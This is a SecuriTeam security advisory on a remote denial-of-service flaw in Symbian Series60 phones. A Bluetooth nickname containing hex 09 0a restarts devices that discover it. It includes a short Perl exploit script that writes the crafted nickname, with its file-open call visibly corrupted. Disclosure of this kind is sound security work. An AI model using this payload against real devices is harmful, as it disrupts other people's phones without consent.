[NEWS] Symbian Bluetooth Nickname Remote DoS

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Symbian Bluetooth Nickname Remote DoS
------------------------------------------------------------------------

SUMMARY

<http://www.symbian.com/> Symbian OS is "an operating system for mobile
devices". Mobile devices running the Symbian OS and that were enabled to
support Bluetooth can be remotely restarted by sending them a crafted
nickname.

DETAILS

Vulnerable Systems:
* Symbian Series60

By changing the user's nickname to include " 09 0a " in hex, a user can
cause every one who search for available bluetooth devices and find the
nickname for the to remotely restar their mobile device. To exploit, the
user will need to set his nickname to something in the format of:
[something][09 0a in hex][just add anything here]. Characters before 09 0a
are required , since the nokia phones will delete the 09 0a automatically
as it recognised as whitespaces.

Exploit Code:
#!/usr/bin/perl -w

my $btnick;
my $bth;
my $bts;
my $file;
$bth = " .";
print "\n*******************************************************\n";
print "** NOKIA REMOTE RESTART IN BLUETOOTH NICKNAME **\n";
print "** BY QNIX | Q-nix[@]bsdmail[dot]org **\n";
print "*******************************************************\n";
print " \n write your nickname : ";
$btnick = <STDIN>;
chomp($btnick);
print " \n OUTPUT : ";
$file = <STDIN>;
chomp($file);
PrivoxyWindowOpen(BLUEN, ">>$file") || die "Could not create file $!\n";
$bts = "$btnick$bth";
print BLUEN ("$bts");
close(BLUEN);

print "\n Done !! , send the output to your nokia and copy the file to the
bluetooth nickname space . \n\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:Qnix@bsdmail.org> Qnix.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.